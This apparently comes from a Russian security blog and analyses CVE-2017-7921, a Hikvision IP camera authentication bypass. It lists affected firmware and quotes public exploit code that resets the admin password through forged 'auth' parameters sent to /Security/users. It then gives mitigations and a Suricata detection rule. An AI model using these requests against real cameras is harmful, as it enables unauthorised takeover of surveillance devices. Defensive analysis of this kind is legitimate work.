Уязвимость микропрограммного обеспечения IP-камер Hikvision
Уязвимость микропрограммного обеспечения IP-камер Hikvision
Категория: Программы Теги: Уязвимости Опубликовано: 30 мая 2025

Уязвимость BDU:2021-01212 (CVE-2017-7921) IP-камер Hikvision

Уязвимость BDU:2021-01212 (CVE-2017-7921) представляет собой критическую логическую ошибку в процедуре аутентификации веб-интерфейса IP-камер Hikvision. Она позволяет удаленному злоумышленнику без каких-либо учетных данных изменять пароли существующих пользователей, включая администратора. Уязвимость коренится в некорректной проверке параметра auth при обращении к API /Security/users. Сервер принимает любые данные в base64, переданные в этом параметре, как валидные учетные данные, вместо реальной проверки логина/пароля.

Анализ уязвимости

Уровень опасности: 10.0 CRITICAL
Вектор атаки: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

  • AV:N (Attack Vector: Network) – Атака возможна удаленно через сеть.

  • AC:L (Attack Complexity: Low) – Низкая сложность эксплуатации.

  • PR:N (Privileges Required: None) – Привилегии не требуются.

  • UI:N (User Interaction: None) – Взаимодействие пользователя не нужно.

  • S:C (Scope: Changed) – Воздействие распространяется на другие компоненты системы.

  • C:H (Confidentiality: High) – Полное нарушение конфиденциальности.

  • I:H (Integrity: High) – Полное нарушение целостности.

  • A:H (Availability: High) – Полное нарушение доступности.

Условия эксплуатации

  1. Устройство использует уязвимую версию ПО.

  2. Веб-порт камеры (обычно 80/443) доступен атакующему.

  3. Включен веб-интерфейс (активно по умолчанию).

Уязвимые устройства и версии ПО

  • Hikvision DS-2CD2xx2F-I до 5.4.5 build 170123
  • Hikvision DS-2CD2xx0F-I до 5.4.5 Build 170123
  • Hikvision DS-2CD2xx2FWD до 5.4.5 Build 170124
  • Hikvision DS- 2CD4x2xFWD до 5.4.5 Build 170228
  • Hikvision DS-2CD4xx5 до 5.4.5 Build 170302
  • Hikvision DS-2DFx до 5.4.9 Build 170123    
  • Hikvision DS-2CD63xx до 5.4.5 Build 170206

Анализ кода эксплоита

Рассмотрим ключевые фрагменты публичного эксплоита для понимания механики атаки:

1. Инициализация и параметры:

OptString.new('USERNAME', [ true, 'Username for password change', 'admin']),
OptString.new('PASSWORD', [ true, 'New Password', 'Pa$$W0rd']),
OptInt.new('ID', [ true, 'ID (default 1 for admin)', 1])

Эксплоит позволяет указать имя пользователя, новый пароль и его ID (1 для admin).

2. Механизм проверки уязвимости (check):

auth = Base64.encode64("admin:#{password}") # Случайный пароль!
res = send_request_cgi({
  'method' => 'GET',
  'uri' => normalize_uri(target_uri.path, 'Security', 'users'),
  'vars_get' => { 'auth' => auth.strip }
})

Эксплоит отправляет GET-запрос к /Security/users с фальшивыми учетными данными в auth. Если сервер возвращает список пользователей (код 200), уязвимость подтверждена.

3. Сброс пароля (run):

post_data = %(<User version="1.0" xmlns="http://www.hikvision.com/ver10/XMLSchema">
<id>#{datastore['ID']}</id>
<userName>#{datastore['USERNAME']}</userName>
<password>#{datastore['PASSWORD']}</password>
</User>)

res = send_request_cgi({
  'method' => 'PUT', # Используется HTTP-метод PUT
  'uri' => normalize_uri(target_uri.path, 'Security', 'users'),
  'vars_get' => { 'auth' => auth.strip }, # Фальшивый auth!
  'ctype' => 'application/xml',
  'data' => post_data
})

Эксплоит отправляет XML с новым паролем через PUT-запрос, используя тот же поддельный auth. Сервер, доверяя параметру auth, применяет изменения без проверки подлинности.

Защита и меры противодействия

  1. Обновление прошивки:
    Установите более новые версии ПО (выше указанных билдов).

  2. Сетевая сегментация:

    • Никогда не размещайте камеры напрямую в Интернете. Используйте VPN для доступа.

    • Разместите камеры в изолированной VLAN без доступа к корпоративной сети.

  3. WAF/IPS Правила (Suricata):
    Блокируйте PUT-запросы к /Security/users с подозрительным содержимым:

    alert http $EXTERNAL_NET any -> $HOME_NET 80,443 \
    (msg:"CVE-2017-7921: Hikvision Password Reset Attempt"; \
    flow:to_server; \
    http.method; content:"PUT"; \
    http.uri; content:"/Security/users"; fast_pattern; \
    http.header; content:"Content-Type: application/xml"; \
    http.client_body; content:"<password>"; depth 10; \
    sid:20211212; rev:1;)
  4. Дополнительные меры:

    • Отключите неиспользуемые сервисы камеры (UPnP, Cloud).

    • Смените порт HTTP/HTTPS (не устраняет уязвимость, но снижает видимость).

    • Регулярно проводите аудит логов камер на подозрительные запросы.

Важно: Если устройство не поддерживает обновление, его следует заменить или физически изолировать от сети.

Алексей Черемных Алексей Черемных
84